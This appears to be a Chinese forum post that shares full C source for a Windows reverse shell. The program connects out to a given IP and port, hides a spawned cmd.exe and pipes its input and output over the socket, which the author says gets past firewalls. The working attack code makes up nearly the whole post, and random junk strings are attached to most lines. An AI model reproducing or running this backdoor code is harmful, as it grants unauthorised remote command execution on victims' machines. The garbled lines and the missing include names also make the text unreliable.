Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 WV2~(/hX&  
& N;pH  
/* ============================== c# xO<  
Rebound port in Windows NT dhW<p5  
By wind,2006/7 t=i/xG:5  
===============================*/ OTE<x"=h  
#include iD<6t_8),  
#include R4SxFp  
fe';b[q)#  
#pragma comment(lib,"wsock32.lib") a1|c2kT  
xZyeX34{M;  
void OutputShell(); xorTL8  
SOCKET sClient; 2h<U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V!xwb:J  
$3 4j6;oN  
void main(int argc,char **argv) 5z~\5x  
{ >t0%?wj)Y  
WSADATA stWsaData; ]~8v^A7u  
int nRet; # kEOKmO  
SOCKADDR_IN stSaiClient,stSaiServer; ;E#\  
Yx),6C3  
if(argc != 3) ~:EW>Fq%i  
{ FsY(02  
printf("Useage:\n\rRebound DestIP DestPort\n"); *NlpotW,f  
return; +T2HE\  
} _q)!B,y-/N  
l{5O5%\,  
WSAStartup(MAKEWORD(2,2),&stWsaData); vbp-`M
(  

E/mw* c^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j#VIHCzlr  
VFSz-<L  
stSaiClient.sin_family = AF_INET; *,lh:  
stSaiClient.sin_port = htons(0); W2eAhz&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,H39V+Y*
 
kaQ2
A  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }lP5GT2  
{ G52Z)^  
printf("Bind Socket Failed!\n"); ZPyM>XK$4  
return; @]=f?+y[ 2  
} h$ Da&$uyI  
:}9j^}"c3  
stSaiServer.sin_family = AF_INET; k|FSz#Y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); OJ/SYZ.r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :<GfETIs  
O@jqdJu  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /\J|Uj  
{ cJ
/]+|PQ  
printf("Connect Error!"); ^VI,C|  
return; `f)(Y1%.  
} TvQ^DZbe  
OutputShell(); [AR>?6G-  
} \84v-VK  
iF9_b  
void OutputShell() 8Kk\*8 <  
{ q4ipumy*  
char szBuff[1024]; kH?#B%N5  
SECURITY_ATTRIBUTES stSecurityAttributes; ~Ltr.ci  
OSVERSIONINFO stOsversionInfo; J :S'uxM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yC !/PQ"  
STARTUPINFO stStartupInfo; |^GyH$.  
char *szShell; S|K}k:v8  
PROCESS_INFORMATION stProcessInformation; v <Hb-~  
unsigned long lBytesRead; S LGW:  
r,xmEj
0E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ai;\@$ cq  
;6m;M63z  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jN/ j\x'  
stSecurityAttributes.lpSecurityDescriptor = 0; 6y Wc1  
stSecurityAttributes.bInheritHandle = TRUE; n &}s-`D  
,2`~ NPb  
6D/'`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C1QV[bJK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `;F2n2@  
CWlW/>yF B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2z\;Q8g){r  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SW9fE:v  
stStartupInfo.wShowWindow = SW_HIDE; uZ(? >  
stStartupInfo.hStdInput = hReadPipe; {1~T]5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !>g:Si"  
ndi+xaQtG  
GetVersionEx(&stOsversionInfo); 8&E}n(XE  
V'StvU  
switch(stOsversionInfo.dwPlatformId) Dp!zk}f|  
{ yA;W/I4  
case 1: 9lspo
~M  
szShell = "command.com"; R^8{bP  
break; V3.t;.@  
default: #jS[
  
szShell = "cmd.exe"; LM.`cb;?G  
break; ctJ&URCi#  
} O4Dr ]Xc]  
P}r)wAt  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4~|<`vqN  
,rO[mNk9@  
send(sClient,szMsg,77,0); Vb)zZ^va+  
while(1) <B[G |FY,  
{ '6S%9ahE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4JO@BV>t  
if(lBytesRead) j[e,?!8;  
{ edpW8eND  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Kf.T\V4%  
send(sClient,szBuff,lBytesRead,0); P))^vUt~  
} V#^yX%  
else (vyz;Ob  
{ LP<<'(l`  
lBytesRead=recv(sClient,szBuff,1024,0); `s/?b|,  
if(lBytesRead<=0) break; $[(d X!]F  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ijedo/  
} 0I%: BT  
} x$B&L`QV  
h-XY4gq/  
return; G[z .&l  
}